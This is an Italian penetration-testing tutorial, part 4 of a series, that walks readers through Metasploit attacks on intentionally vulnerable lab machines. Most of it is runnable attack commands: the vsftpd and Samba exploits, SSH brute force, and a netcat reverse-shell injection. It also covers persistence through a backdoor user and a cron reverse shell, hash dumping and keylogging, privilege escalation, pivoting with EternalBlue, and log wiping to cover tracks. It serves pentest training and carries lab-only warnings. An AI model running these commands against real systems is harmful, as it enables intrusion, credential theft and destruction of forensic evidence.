Il Percorso dell'Hacker: Serie in 5 Parti
Parte 1: Introduzione → Parte 2: Padronanza del Flipper → Parte 3: Fondamenti di Kali → Parte 4: Exploitation → Parte 5: L'Audit Completo
Nelle Parti 1-3, avete costruito il vostro toolkit. Potete clonare badge, mappare reti, catturare handshake e identificare ogni servizio in esecuzione su un bersaglio. Vedete vulnerabilità ovunque ormai. Ma vedere una vulnerabilità e sfruttarla sono competenze molto diverse.
Qui le cose diventano serie. Oggi imparerete a usare il Metasploit Framework, lo stesso strumento utilizzato dai penetration tester professionisti in tutto il mondo. Sfrutterete la vostra prima vulnerabilità, stabilirete persistence, escalerete i privilegi e imparerete a fare pivot attraverso una rete.
La Linea che Non Devi Oltrepassare
Tutto in questo articolo deve essere praticato su sistemi che possedete o per cui avete esplicita autorizzazione scritta a testare. L'accesso non autorizzato a sistemi informatici è un reato federale con pene fino a 20 anni di reclusione. "Stavo solo imparando" non è una difesa. Costruite un laboratorio, usate VM intenzionalmente vulnerabili e non toccate mai sistemi che non vi appartengono.
Parte 1: Costruire il Laboratorio d'Attacco
Prima di sfruttare qualsiasi cosa, avete bisogno di bersagli. I veri penetration tester usano ambienti di laboratorio isolati con macchine intenzionalmente vulnerabili. Farete lo stesso.
La Configurazione Essenziale del Laboratorio
Di Cosa Avrete Bisogno
- Kali Linux VM - La vostra macchina d'attacco (dalla Parte 3)
- Metasploitable 2 - VM Linux intenzionalmente vulnerabile (SourceForge)
- Metasploitable 3 - VM vulnerabile Windows/Linux (GitHub)
- DVWA - Damn Vulnerable Web Application (GitHub)
- VulnHub VMs - Macchine vulnerabili in stile CTF (vulnhub.com)
Progetto: Configurazione della Rete del Laboratorio
Tempo: 45 minuti
- Scaricate Metasploitable 2 da SourceForge
- Importatelo in VirtualBox/VMware
- Configurate la rete: Impostate sia Kali che Metasploitable su "Host-Only" o "Internal Network"
- Avviate Metasploitable (login predefinito:
msfadmin/msfadmin) - Annotate l'indirizzo IP:
ifconfig - Da Kali, verificate la connettività:
ping METASPLOITABLE_IP - Eseguite la scansione iniziale:
sudo nmap -sV -sC METASPLOITABLE_IP
Verifica: Dovreste vedere decine di porte aperte. Metasploitable è progettato per essere compromesso.
La vostra scansione nmap di Metasploitable dovrebbe rivelare servizi come FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL e altri, molti dei quali eseguono versioni obsolete e vulnerabili. Questo è il vostro campo di gioco.
Parte 2: Fondamenti del Metasploit Framework
Metasploit non è solo uno strumento. È un ecosistema. Contiene migliaia di exploit, payload, moduli ausiliari e strumenti di post-exploitation. Comprenderne la struttura è essenziale.
Avvio di Metasploit
bash# Initialize the database (first time only)
sudo msfdb init
# Start Metasploit console
msfconsole
# You'll see the Metasploit banner and prompt:
msf6 >La Struttura di Metasploit
Metasploit organizza tutto in moduli:
- Exploits - Codice che sfrutta le vulnerabilità
- Payloads - Codice che viene eseguito dopo l'exploitation (shell, meterpreter)
- Auxiliary - Scanner, fuzzer e altre utility
- Post - Moduli di post-exploitation per persistence, pivoting
- Encoders - Offuscamento dei payload per evadere il rilevamento
bash# Search for modules
msf6 > search type:exploit platform:linux smb
# Search by CVE
msf6 > search cve:2017-0144
# Search by name
msf6 > search vsftpd
# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoorIl Flusso di Lavoro dell'Exploitation
Ogni exploitation in Metasploit segue lo stesso schema:
- Selezionate un exploit -
use exploit/path/to/module - Impostate le opzioni - IP del bersaglio, porte, credenziali
- Selezionate un payload - Cosa viene eseguito dopo l'exploitation
- Eseguite -
exploitorun
Parte 3: Il Vostro Primo Exploit
Sfruttiamo una delle backdoor più famose della storia: la backdoor vsftpd 2.3.4. Nel 2011, qualcuno ha inserito una backdoor nel codice sorgente di vsftpd. Se inviate un nome utente che termina con :), si apre una shell sulla porta 6200.
Metasploitable 2 esegue esattamente questa versione.
bash# Start Metasploit
msfconsole
# Search for the exploit
msf6 > search vsftpd
# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101
# Run the exploit
msf6 exploit(...) > exploit
# If successful:
[*] Command shell session 1 opened
[+] Got shell!
# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)Ecco fatto. Un servizio vulnerabile, un exploit, accesso root. Ecco perché è importante mantenere il software aggiornato.
Progetto: Sfruttare la Backdoor vsftpd
Tempo: 15 minuti
Prerequisiti: Metasploitable 2 in esecuzione, Kali sulla stessa rete
- Verificate che FTP sia in esecuzione:
nmap -sV -p 21 TARGET_IP - Avviate msfconsole
- Cercate, selezionate e configurate l'exploit vsftpd
- Eseguite l'exploit
- Una volta ottenuta la shell, esplorate:
cat /etc/shadow
Criteri di successo: Potete leggere /etc/shadow, accessibile solo da root.
Parte 4: Comprendere i Payloads
Un payload è ciò che viene eseguito dopo il successo dell'exploit. La shell base che abbiamo ottenuto sopra è semplice, ma Metasploit offre opzioni molto più potenti.
Tipi di Payload
- Singles - Payload autonomi, a colpo singolo (aggiunta utente, esecuzione comando)
- Stagers - Piccoli payload che stabiliscono una connessione, poi scaricano il payload principale
- Stages - Il payload principale scaricato dallo stager (Meterpreter)
bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads
# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcpReverse vs Bind Shell
- Reverse shell - Il bersaglio si riconnette a voi. Migliore per aggirare i firewall (il traffico in uscita è generalmente permesso).
- Bind shell - Il bersaglio apre una porta a cui vi connettete. Più facile da rilevare, spesso bloccato dai firewall.
bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444
# Metasploit starts a listener automatically when you exploitMeterpreter: Il Payload Definitivo
Meterpreter è il payload più potente di Metasploit. Viene eseguito interamente in memoria (nessun file su disco), fornisce comunicazione crittografata e include decine di comandi integrati per il post-exploitation.
bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo # System information
meterpreter > getuid # Current user
meterpreter > pwd # Current directory
meterpreter > ls # List files
meterpreter > download file # Download file to Kali
meterpreter > upload file # Upload file to target
meterpreter > shell # Drop to system shell
meterpreter > hashdump # Dump password hashes
meterpreter > screenshot # Take screenshot
meterpreter > keyscan_start # Start keylogger
meterpreter > keyscan_dump # Dump keystrokes
meterpreter > background # Background this sessionParte 5: Altre Tecniche di Exploitation
Sfruttare Samba (SMB)
Metasploitable 2 esegue una versione vulnerabile di Samba. Questo è simile al famigerato exploit EternalBlue usato in WannaCry.
bash# Search for Samba exploits
msf6 > search type:exploit samba
# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit
[*] Command shell session 2 openedSfruttare Credenziali Deboli
Non ogni compromissione richiede una vulnerabilità software. Le password deboli sono ovunque.
bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run
# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run
[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'Exploitation di Applicazioni Web
Metasploitable include diverse applicazioni web vulnerabili. Sfruttiamo una PHP code injection.
bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)
# Use Metasploit's web exploits
msf6 > search type:exploit php
# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444Progetto: Sfruttare Tre Servizi Diversi
Tempo: 60 minuti
Bersaglio: Metasploitable 2
- Sfruttate la backdoor vsftpd (FTP - porta 21) e ottenete una root shell
- Sfruttate Samba usermap_script (SMB - porta 139/445) e ottenete una root shell
- Crackate le credenziali SSH (porta 22) usando auxiliary/scanner/ssh/ssh_login
- Documentate ogni exploitation: modulo usato, opzioni impostate, risultato
Bonus: Esplorate le applicazioni web sulla porta 80 e trovate vettori di exploitation manuali.
Parte 6: Post-Exploitation
Ottenere una shell è solo l'inizio. I veri penetration test richiedono di dimostrare cosa potrebbe fare un attaccante con quell'accesso. Questo è il post-exploitation.
Raccolta Informazioni
text# From a Meterpreter session
meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux
# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arpbash# From a regular shell
cat /etc/passwd # All users
cat /etc/shadow # Password hashes (requires root)
cat /etc/hosts # Network mappings
netstat -tulpn # Open ports
ps aux # Running processes
crontab -l # Scheduled tasksRaccolta Credenziali
text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bashbash# Or from shell
cat /etc/shadow
# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txtStabilire la Persistence
Persistence significa mantenere l'accesso anche dopo riavvii o quando il vettore d'attacco iniziale è stato corretto.
bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker
# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IPPersistence = Prove
Ogni meccanismo di persistence lascia tracce. In un vero penetration test, documentate cosa potreste fare, poi ripulite. Lasciare backdoor sui sistemi dei clienti è poco professionale e potenzialmente illegale. Nel vostro laboratorio, sbizzarritevi, ma comprendete le implicazioni.
Parte 7: Escalation dei Privilegi
Spesso si ottiene l'accesso iniziale come utente con bassi privilegi. L'escalation a root/admin è generalmente necessaria per raggiungere gli obiettivi del test.
Escalation dei Privilegi su Linux
bash# Current user context
id
whoami
# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null
# World-writable directories
find / -writable -type d 2>/dev/null
# Sudo permissions
sudo -l
# Kernel version (for kernel exploits)
uname -a
# Running processes as root
ps aux | grep root
# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*Script di Enumerazione Automatizzati
- LinPEAS - github.com/carlospolop/PEASS-ng
- LinEnum - github.com/rebootuser/LinEnum
- linux-exploit-suggester - GitHub
bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000
# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitableVettori Comuni di Privesc su Linux
bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell
# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;
# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shellEscalation dei Privilegi su Windows
Se state testando bersagli Windows (Metasploitable 3), le tecniche sono diverse:
text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user
meterpreter > getsystem
[+] ...got SYSTEM
# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester
# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploitProgetto: Escalation da Utente a Root
Tempo: 45 minuti
Scenario: Avete accesso SSH a Metasploitable come msfadmin (non root)
- SSH a Metasploitable:
ssh msfadmin@TARGET - Eseguite
idper confermare che non siete root - Controllate i permessi sudo:
sudo -l - Cercate binari SUID:
find / -perm -4000 2>/dev/null - Caricate ed eseguite LinPEAS
- Identificate un vettore di privesc e sfruttatelo
Obiettivo: Ottenere una root shell usando qualcosa di diverso dallo sfruttamento di un servizio di rete.
Parte 8: Pivoting
Il pivoting è l'uso di un sistema compromesso per attaccare altri sistemi che non sono direttamente raggiungibili dalla vostra macchina d'attacco. È così che gli attaccanti si muovono lateralmente attraverso le reti.
Lo Scenario di Pivot
Immaginate questa rete:
- Il vostro Kali: 192.168.1.100
- Host compromesso: 192.168.1.50 (connesso anche alla rete interna 10.0.0.0/24)
- Bersaglio: 10.0.0.10 (raggiungibile solo da 192.168.1.50)
Non potete raggiungere 10.0.0.10 direttamente. Ma attraverso l'host compromesso, potete.
Routing Metasploit
text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50
meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1
meterpreter > background
# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print
# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run
# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploitSOCKS Proxy per Accesso Completo
bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run
# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080
# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]SSH Tunneling (Senza Metasploit)
bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host
# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80
# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444Parte 9: Coprire le Tracce
I penetration tester professionisti documentano il loro accesso ma ripuliscono dopo. Capire come gli attaccanti coprono le tracce aiuta anche a rilevare le intrusioni.
bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history
# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp
# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log
# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file
# Meterpreter
meterpreter > clearev # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"Negli Incarichi Reali: Non Fatelo
I pentester professionisti documentano il loro accesso e riportano le loro scoperte. Non le nascondono. Cancellare i log distrugge prove di cui i difensori hanno bisogno per comprendere il percorso d'attacco. Praticate queste tecniche solo nel vostro ambiente di laboratorio isolato.
Il Percorso dell'Hacker
Una serie in 5 parti che vi porta da curiosi a capaci.
Parte 1: Introduzione Parte 2: Padronanza del Flipper Parte 3: Fondamenti di Kali Parte 4: Exploitation ✓ Parte 5: Audit Completo
Checklist della Parte 4
☐ Setup Laboratorio: Metasploitable 2 in esecuzione, rete isolata configurata
☐ Metasploit: Database inizializzato, navigazione base padroneggiata
☐ Primo Exploit: Backdoor vsftpd sfruttata, root shell ottenuta
☐ Vettori Multipli: FTP, SMB sfruttati e credenziali SSH crackate
☐ Post-Exploitation: Hash delle password estratti, sistema enumerato
☐ Escalation Privilegi: Escalation da utente a root senza exploit di rete
☐ Pivoting: Comprensione dei concetti autoroute e SOCKS proxy
☐ Documentazione: Tutti gli exploit documentati con passaggi e prove
Cosa Viene Dopo
Avete imparato a sfruttare vulnerabilità, escalare privilegi e fare pivot attraverso le reti. Avete visto quanto velocemente una singola debolezza diventa una compromissione totale. Capite cosa fanno i penetration tester professionisti.
Nella Parte 5, mettiamo tutto insieme. Condurrete un audit di sicurezza completo dall'inizio alla fine:
- Ambito e regole di ingaggio
- Metodologia completa di ricognizione
- Exploitation sistematico
- Post-exploitation completo
- Reportistica professionale
- Raccomandazioni per la remediation
La Parte 5 è il coronamento. Tutto ciò che avete imparato in questa serie si unisce in una metodologia del mondo reale che potete usare per valutare la sicurezza di qualsiasi rete siate autorizzati a testare.
Avete imparato le tecniche. Ora imparate la metodologia. La Parte 5 trasforma le competenze in un flusso di lavoro completo di penetration testing.
Ci vediamo nella Parte 5.